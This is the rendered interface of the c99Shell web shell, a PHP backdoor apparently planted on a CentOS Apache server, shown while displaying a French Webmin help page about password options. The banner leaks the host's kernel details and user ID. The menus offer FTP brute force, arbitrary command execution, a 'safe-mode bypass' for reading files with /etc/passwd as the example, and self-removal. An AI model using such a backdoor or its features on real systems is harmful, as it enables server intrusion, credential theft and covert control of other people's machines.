!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/useradmin/help/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pass.fr.html (1.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Mot de passe
Quand un utilisateur ouvre une session par telnet ou sur la console, il doit normalement fournir un mot de passe. Il y a quatre options différentes pour le mot de passe :
  • Demander le mot de passe à la première ouverture de session
    Quand l'utilisateur ouvre une session pour la première fois par telnet ou sur la console, le système va lui demander sont mot de passe.

  • Aucun mot de passe requis
    Cet utilisateur peut ouvrir une session sans fournir de mot de passe. Cette option doit être utilisée avec précautions.

  • Aucune ouverture de session permise
    Si cette option est choisie, l'utilisateur ne pourra pas du tout ouvrir de session sur le système, même pour consulter ses mails sur un serveur POP3.

  • Mot de passe crypté
    Les mots de passe Unix sont enregistrés sous une forme cryptée. Cette option permet d'entrer le mot de passe pour un utilisateur sous sa forme déjà crypté (en le prenant du fichier de mots de passe d'un autre système par exemple).

  • Mot de passe en texte clair
    Pour définir le mot de passe d'un utilisateur, seléctionnez cette option et entrez-le dans le champ de texte. Webmin l'encryptera et l'enregistrera dans le fichier des mots de passe.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--